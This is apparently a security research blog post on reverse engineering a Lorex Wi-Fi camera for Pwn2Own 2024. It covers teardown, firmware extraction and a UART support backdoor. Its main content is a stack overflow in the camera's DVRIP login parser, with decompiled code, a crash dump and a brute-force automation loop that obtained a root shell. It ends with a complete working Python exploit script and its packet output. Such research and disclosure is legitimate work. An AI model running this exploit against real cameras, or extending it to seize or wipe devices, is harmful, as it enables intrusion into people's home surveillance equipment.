Note : This research was done in collaboration with Jimi Sebree.

Lorex Camera

Introduction

Lorex makes a cheap and seemingly popular Wifi camera that made it to the target list of Pwn2Own Ireland in October 2024. We bought a few and proceeded to take them apart to get a handle on their internals. This blog will document our reverse engineering journey and trials and tribulations with developing a working exploit against the device.

Disassembly

The device is pretty simple to get apart with only a single screw on the back of the device holding everything together. After removing that screw and the SD card, it is possible to pry the device apart. Four black screws hold the main circuit board in place. The black plastic trim at the front can be pried off revealing two more screws that can be removed.

Parts List

Wifi - REALTEK 8188FTV

Data Sheet: https://fcc.report/FCC-ID/2A3AKFTY8188FTV/5527406.pdf

Wifi Chip

Quad SPI Flash

The QUAD SPI flash contains the code that the proprietary SoC runs. We should be able to pull the firmware for the device directly from this chip using a reader.

It is a Winbond 25064jvs10 (3V 64M-BIT SERIAL FLASH MEMORY WITH DUAL, QUAD SPI).

Quad SPI Flash

SoC

The device uses a proprietary chinese SoC from Sigma Star, the Star SSC337 - SoC Camera Chip.

SoC

Possible pinout from internet research on similar chips:

SoC Pinout

Potentially Helpful Links:

https://wx.comake.online/doc/d8clf27cnes2-SSD20X/customer/development/software/Px/en/sys/P2/fuart\&uart.html

https://wx.comake.online/doc/d8clf27cnes2-SSD20X/customer/development/reference/partitionfile.html

UART

We found an unpopulated connector. Using a logic analyzer it was determined that the connector was for Universal Asynchronous Receiver Transmitter (UART) communications This connection is typically used to display terminal output from the programs running on the device. In some cases, it may allow direct command line access.

After determining the buad rate to be 115200 through some trial and error, we can see from the output of the logic analyzer that it displays information about the boot process, and we can see they are using U-Boot, and that the operating system is likely custom Linux kernel.

Logic Analyzer Screenshot

Wires Soldered to UART Header

Pin 1 (labeled on board) is RX. Pin2 is TX. Pin 3 is GND.

Reading SPI Flash Chip

We tried reading the SPI flash chip in circuit first, but applying power to the flash chip also powered up the SoC which caused interference while trying to read the chip.

SPI Flash Hookup Attempt in Circuit

After removing the chip completely we are able to successfully read it.

SPI Flash Hookup out of Circuit

SPI Flash Hex Dump

The endianness was set wrong in the software for reading the chip initially. I fixed that with dd:

Endianness Fix

Binwalk dump of firmware file:

Binwalk

Firmware Analysis

The device has a SquashFS read only filesystem for the base operating system image. It utilizes a read/write jffs2 filesystem for log files, configuration files, and sound files.

Most binaries listed on the file system are actually symlinks to a custom BusyBox build. There are traces of a previous telnetd and sshd binary, but those have been removed on this version.

From examining init scripts and binaries present on the system, we found that the Lorex is a rebranding for Dahau cameras, which have been exploited in the past: https://www.cisa.gov/news-events/alerts/2024/08/21/cisa-adds-four-known-exploited-vulnerabilities-catalog.

The main binary in charge of the operations of the camera is /usr/bin/sonia. Running checksec on the binary returns the following security parameters:

Checksec

There is stack protection and address space layout randomization (ASLR) for libraries loaded with the binary, but the binary itself isn’t compiled to be a position independent executable (No PIE), so there isn’t any ASLR for the executable itself. The stack is protected with canaries, and is none-executable (NX).

Boot Process

As mentioned before, the system uses a custom U-Boot build for loading the firmware into memory and starting execution. We were able to gain access to the boot loader command line by pressing the “*” key during bootup. Many default uboot commands have been removed from this version, but we are able to configure some environmental variables that are checked by various init scripts on bootup, and some of them are even read by sonia.

The variables dh_keyboard and appauto are read by init scripts during boot and can be set prior to boot.

Excerpt from /etc/init.d/rcS:

if [ $APPAUTO == '1' ];then
        echo "appauto=1"
    #dh_keyboard位是1时将sonia的输出屏蔽掉
    if [ $KEYBOARD = '1' ]; then
        /usr/bin/sonia $sonia_para 2>/dev/null 1>/dev/null
    else
        /usr/bin/sonia $sonia_para
    fi
else
        echo "appauto=0"

    if [ $KEYBOARD == '1' ];then
        echo "keyboard = 1"
        while [ 1 ]
        do
                busybox sleep 60
        done
    else
        echo "keyboard = 0"
        sh
    fi
fi

By setting dh_keyboard to zero, we are able to see debugging output from sonia for example. If we set appauto to 0 and dh_keyboard to 1, we enter a secret mode, that appears to be a backdoor looking at UART:

Backdoor

Scanning the QR takes you to a support login that appears internal to Lorex:

Internal Login

The binary involved with the is /bin/dsh. We took a look at it, and it uses public key cryptography with parameters encoded into the URL sent to the authorization website for verifying access. If access is verified, you are allowed access to an actual root shell.

This would be helpful for debugging so we tried for a week performing a fault injection attack during the verification in hopes we would get lucky and the check would fall through and drop us into a shell. No had no luck with this, but used the same setup and automation later for brute forcing a shell using a stack overflow vulnerability.

Stack Overflow

As mentioned previously, a binary called “sonia” serves as the primary process for handling most of the device’s functionality. The process listens on TCP ports 80 and 35000 as well as UDP port 35000 and makes use of the DVIRP protocol. Sessions using this protocol are the primary drivers of management access to the device. The vulnerabilities detailed in this post deal with stack-based buffer overflows in the parsing of the username and password fields of the authentications routines.

Vulnerable Code

When creating a session for the DVRIP protocol, a simple handshake occurs. Once this handshake is completed and a valid session has been created, a variety of functionality opens up to the end-user, such as authentication. During the login process, the parsing routines for the username and password are vulnerable to a stack-based buffer overflow due to improper bounds checking when executing calls to memcpy().

From the disassembly/decompilation of the parsing routine, we can see that the username and password buffers are 0x80 (128) bytes in length.

      delim1 = strstr(login_buf,"&&");
      delim2 = strchr(login_buf,__c);
      if (delim1 == (char *)0x0) {
        return -1;
      }
      if (delim2 == (char *)0x0) {
        return -1;
      }
      if (delim2 < delim1) {
        return -1;
      }
      __haystack = delim1 + 2;

      memcpy(&username,login_buf,(int)delim1 - (int)login_buf);

Rather than copying based on the size of the parsed usernames and passwords, memory is copied based on the offset of “&&” within the user-supplied buffer. Thus, we are able to copy arbitrary values onto the stack and overwrite memory that is later used to return from the parsing routine. Registers R4-R9 as well as PC are set when function returns:

        0038d02c 43  b0           add        sp ,#0x10c
        0038d02e bd  e8  f0       pop.w      {r4 ,r5 ,r6 ,r7 ,r8 ,r9 ,pc }

In order to overflow the PC register to obtain control of the process, our input payload simply needs to fill the entirety of the username or password buffer, add necessary padding to overwrite the registers (or set up any necessary ROP-gadgets), and then overwrite the PC register.

Example Payload

For the username, It takes 128 bytes to fill the username, padding of 128 bytes to account for the password field, 2 bytes of padding for the “&&” field separator, and 2 bytes of padding to account for appended null-bytes later in the routine.

    baduser = "A" * 260

    baduser += "BBBB" # r4
    baduser += "CCCC" # r5
    baduser += "DDDD" # r6
    baduser += "EEEE" # r7
    baduser += "FFFF" # r8
    baduser += "GGGG" # r9

    baduser += "XXXX" # ret

Crash Dump

The resulting crash dump of the payload above demonstrates control of the registers as detailed above:

TEXT=00010000-006282e0 DATA=00638cc0-006bfd2c BSS=006bfd2c-01c7f000
USER-STACK=be8b5e80  KERNEL-STACK=c2524800

PSR: 0x60000010
EPC: 0x58585858, at 0x58585858.
LR : 0x0038d02b, at 0x0038d02b.
SP : 0xb4c73c90
orig_r0: 0xffffffff
ARM_ip: 0x00645060   ARM_fp: 0x00645000   ARM_r10: 0x0059b5a1   ARM_r9: 0x47474747
ARM_r8: 0x46464646   ARM_r7: 0x45454545   ARM_r6: 0x44444444   ARM_r5: 0x43434343
ARM_r4: 0x42424242   ARM_r3: 0x01c4e1a2   ARM_r2: 0x00000000   ARM_r1: 0xb4c73c6f
ARM_r0 0x00000000

Impact

The above dump demonstrates complete control of the program counter and indicates arbitrary code execution as the root user is possible via this attack vector.

As “sonia” is compiled without ASLR, redirection to other routines within the binary is trivial. Our demonstration proof of concept simply redirects execution flow to a routine (located at offset 0x99b5e) that plays one of the device’s preset jingles. Many other routines exist that will reset the administrator password, wipe the device completely, create an interactable shell, change the status lights on the device, take snapshots, etc. By utilizing ROP gadgets or other exploitation techniques, it is possible to craft far more sophisticated exploits to take complete control of the device.

Additional Exploitation Info

While RCE is possible by abusing “sonia” functionality on its own, the process does use a number of shared libraries (such as libc) that are loaded at somewhat randomized addresses. If functionality from these libraries is desired or the lack of null byte usage within the payload is too restrictive, these shared libraries are loaded into the process at higher memory addresses.

While it may be possible to leak the addresses of these libraries, simple brute force has proven to be a reliable method of bypassing module address randomization due to the memory limitations of the device. Since only 12 bits are randomized due to ASLR, any attempt at access a shared library has a 1/4096 chance of an attack working via brute force, meaning on average it will require 2048 attempts before success.

Here is the device setup with automation to perform, monitor, and power cycle the device if needed:

Attack Automation

Equipment:

Automation Code

## ATTACK LOOP ##

from IPython.display import clear_output import time attempt = 0

while True: target.reset_comms() target.baud = 115200 print("Starting attempt %d" % attempt) print("Resetting target...") play_power_cycle_sound() reboot_lorex() play_gentle_beep_sa1() time.sleep(40)

`data = ''`
`ts = time.time()`
`print("Calling perform_exploit()")`
`play_gentle_beep_sa()`
`target.flush()`
`data = target.read()`
`run_exploit_on_linux_server()`
`while (time.time() - ts) < 10:`
    `data += target.read()`

`print("Checking results...")`

`print("Data:")`
`print(data)`
`if("BusyBox" in data or "busybox" in data or "Busybox" in data):`
    `play_tada()`
    `print("Attack Successful")`
    `break`
`else:`
    `print("Attack failed...  Starting next attempt.")`
    `play_failure_sound()`
    `time.sleep(5)`

`attempt += 1`

`clear_output()`

Result:

A root shell obtained via the above automation setup that took 1533 attempts.

Root Shell

Sample memory layout of the sonia process running on the device itself:

cat /proc/645/maps:

00010000-00629000 r-xp 00000000 1f:04 261        /usr/bin/sonia
00638000-006c0000 rw-p 00618000 1f:04 261        /usr/bin/sonia
006c0000-00793000 rw-p 00000000 00:00 0
009a0000-00c54000 rw-p 00000000 00:00 0          [heap]
aef8e000-aefa5000 rw-s 00000000 00:05 2930880    /dev/zero (deleted)
aefa5000-aefbc000 rw-s 00000000 00:05 2930879    /dev/zero (deleted)
aefbc000-aefbd000 ---p 00000000 00:00 0
< ... snip ... >
aefcf000-af1ce000 rw-p 00000000 00:00 0
af1fc000-af222000 rw-s 00000000 00:05 947        /dev/zero (deleted)
af224000-af225000 ---p 00000000 00:00 0
af225000-af22a000 rw-p 00000000 00:00 0
af22a000-af250000 rw-s 00000000 00:05 1519       /dev/zero (deleted)
af250000-af25f000 rw-s 00000000 00:05 894        /dev/zero (deleted)
af25f000-af26e000 rw-s 00000000 00:05 893        /dev/zero (deleted)
af26e000-af27d000 rw-s 00000000 00:05 891        /dev/zero (deleted)
af27d000-af43f000 rw-s 00000000 00:05 882        /dev/zero (deleted)
af43f000-af440000 ---p 00000000 00:00 0
< ... snip ... >
b0341000-b0540000 rw-p 00000000 00:00 0
b0545000-b0572000 rw-s 00000000 00:05 888        /dev/zero (deleted)
b0572000-b0638000 rw-p 00000000 00:00 0
b0639000-b0641000 rw-s 00000000 00:05 892        /dev/zero (deleted)
b0641000-b0642000 ---p 00000000 00:00 0
< ... snip ... >
b5a8c000-b5c8b000 rw-p 00000000 00:00 0
b5c8b000-b5c9d000 rw-s 00000000 00:05 131076     /SYSV19318745 (deleted)
b5c9d000-b5caf000 rw-s 00000000 00:05 98307      /SYSV19318742 (deleted)
b5caf000-b5cc1000 rw-s 00000000 00:05 32769      /SYSV19318741 (deleted)
b5cc1000-b5cc2000 ---p 00000000 00:00 0
< ... snip ... >
b655d000-b675c000 rw-p 00000000 00:00 0
b675c000-b677c000 rw-s 21d20000 00:06 364        /dev/DH_binderSR
b677c000-b677d000 ---p 00000000 00:00 0
< ... snip ... >
b6b7d000-b6d7c000 rw-p 00000000 00:00 0
b6d7c000-b6d8c000 rw-s 00000000 00:05 0          /SYSV020d01d8 (deleted)
b6d8c000-b6da3000 r-xp 00000000 1f:04 308        /lib/libgcc_s.so.1
b6da3000-b6db2000 ---p 00000000 00:00 0
b6db2000-b6db3000 r--p 00016000 1f:04 308        /lib/libgcc_s.so.1
b6db3000-b6db4000 rw-p 00017000 1f:04 308        /lib/libgcc_s.so.1
b6db4000-b6e0b000 r-xp 00000000 1f:04 307        /lib/libuClibc-1.0.31.so
b6e0b000-b6e1a000 ---p 00000000 00:00 0
b6e1a000-b6e1b000 r--p 00056000 1f:04 307        /lib/libuClibc-1.0.31.so
b6e1b000-b6e1c000 rw-p 00057000 1f:04 307        /lib/libuClibc-1.0.31.so
b6e1c000-b6e32000 rw-p 00000000 00:00 0
b6e32000-b6e45000 r-xp 00000000 1f:04 286        /usr/lib/libz.so.1
b6e45000-b6e4c000 ---p 00000000 00:00 0
b6e4c000-b6e4d000 rw-p 00012000 1f:04 286        /usr/lib/libz.so.1
b6e4d000-b6e51000 r-xp 00000000 1f:04 285        /usr/lib/libzzip.so
b6e51000-b6e60000 ---p 00000000 00:00 0
b6e60000-b6e61000 r--p 00003000 1f:04 285        /usr/lib/libzzip.so
b6e61000-b6e62000 rw-p 00004000 1f:04 285        /usr/lib/libzzip.so
b6e62000-b6ef8000 r-xp 00000000 1f:04 322        /lib/libstdc++.so.6.0.20
b6ef8000-b6f07000 ---p 00000000 00:00 0
b6f07000-b6f0b000 r--p 00095000 1f:04 322        /lib/libstdc++.so.6.0.20
b6f0b000-b6f0d000 rw-p 00099000 1f:04 322        /lib/libstdc++.so.6.0.20
b6f0d000-b6f14000 rw-p 00000000 00:00 0
b6f14000-b6f19000 r-xp 00000000 1f:04 323        /lib/ld-uClibc-1.0.31.so
b6f1a000-b6f1b000 rw-s 00000000 00:05 890        /dev/zero (deleted)
b6f1b000-b6f1c000 rw-s 00000000 00:05 889        /dev/zero (deleted)
\x1B[0;32;32m[libaudio] Not enough data in playbuffer\xA3\xBBuse empty buffer for process
b6f1c000-b6f1d000 rw-s 00000000 00:05 887        /dev/zero (deleted)
b6f1e000-b6f1f000 rw-s 00000000 00:05 163845     /SYSV82904795 (deleted)
b6f1f000-b6f20000 rw-s 00000000 00:05 65538      /SYSV19318951 (deleted)
b6f20000-b6f24000 rw-s 21d04000 00:06 364        /dev/DH_binderSR
b6f24000-b6f26000 rwxs 23fc4000 00:06 10         /dev/mem
b6f26000-b6f28000 rw-p 00000000 00:00 0
b6f28000-b6f29000 r--p 00004000 1f:04 323        /lib/ld-uClibc-1.0.31.so
b6f29000-b6f2a000 rw-p 00005000 1f:04 323        /lib/ld-uClibc-1.0.31.so
beea7000-beec8000 rw-p 00000000 00:00 0          [stack]
bef12000-bef13000 r-xp 00000000 00:00 0          [sigpage]
bef13000-bef14000 r--p 00000000 00:00 0          [vvar]
bef14000-bef15000 r-xp 00000000 00:00 0          [vdso]
ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]

Proof of Concept Exploit

Environment Setup:

python3 -m venv venv
. ./venv/bin/activate
pip install pwn

Execution:

python lorex.py <target ip address>

Example Output:

# python lorex.py 10.0.0.164
Sending packet:
-----
b'a00100000000000000000000000000000000000000000000050201010000a1aa'
-----

Received packet:
-----
b'b000007837000000010e01000000000000000000010000000600f90000000002'
b'5265616c6d3a4c6f67696e20746f20303830314542334446454236323732310d0a52616e646f6d3a31353235323631343036640d0a0d0a'
-----

Sending packet:
-----
b'a0053333a3000000111111111111111111111111111111112222222222222222'
b'262641414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414143434343434343434343434343434343434343434343434323c2122626'
-----

(camera will play a jingle here :) )

Minimal Proof of Concept Script:

#!/usr/bin/env python
import argparse
import binascii
import socket
from builtins import bytes
from time import sleep

from pwn import *


# Default DVRIP port for Lorex cameras
PORT = 35000


class LorexClient():
    def __init__(self, ip, port, user, password):
        self.ip = ip
        self.port = port
        self.user = user
        self.password = password
        self.socket = None

    def connect(self):
        """Setup socket for TCP connection"""
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.settimeout(1)

        try:
            self.socket.connect((self.ip, self.port))
            return True
        except socket.error:
            return False

    def close(self):
        """Kill existing connection"""
        self.socket.close()

    def send_packet(self, header, msg):
        """Pack and send a packet in the correct format along with a valid header"""
        print("Sending packet:")
        print("-----")
        print(binascii.b2a_hex(header))
        if msg: print(binascii.b2a_hex(msg)) #.decode("latin-1"))
        print("-----\n")
        if msg is None:
            msg = b""
        self.socket.send(header + msg)
        data_header = b''

        try:
            data_header += self.socket.recv(32)
        except TimeoutError:
            return None

        if data_header[0:2] == p16(0xb000) or data_header[0:2] == p16(0xb001):
            data_len = u32(data_header[4:8])
            data_format = "plain"
        else:
            data_len = u32(data_header[4:8])
            data_format = "json"

        data = self.socket.recv(data_len)
        print("Received packet:")
        print("-----")
        print(binascii.b2a_hex(data_header))
        print(binascii.b2a_hex(data))
        #print(data.decode("latin-1"))
        print("-----\n")
        return data_header, data

    def exploit(self):
        packet = p32(0xa0010000, endian='big') + (p8(0x00) * 20) + p64(0x050201010000a1aa, endian='big')
        _, auth_info = self.send_packet(packet, None)
        auth_info = auth_info.decode('latin-1')

        realm = auth_info[auth_info.find("Login to"):auth_info.find("\r\n")]
        seed = auth_info[auth_info.rfind(":"):auth_info.find("\r\n")-2]

        h = self.user + b"&&"
        h += self.password

        header = p32(0xa0053333, endian='big') + p32(len(h)) + (p8(0x11) * 16) + p64(0x2222222222222222, endian='big')
        msg = h

        print("Sending packet:")
        print("-----")
        print(binascii.b2a_hex(header))
        if msg: print(binascii.b2a_hex(msg))
        print("-----\n")
        if msg is None:
            msg = b""
        self.socket.send(header + msg)
        return


if __name__ == "__main__":
    # Get target host
    argparser = argparse.ArgumentParser()
    argparser.add_argument('target')
    args = argparser.parse_args()

    # Jingle Routine
    baduser = b"&&" + b"A"*132 + b"C" * 24 + b"\x23\xc2\x12"

    client = LorexClient(args.target, PORT, baduser, b"")
    while not client.connect():
        pass
    sleep(1)
    client.exploit()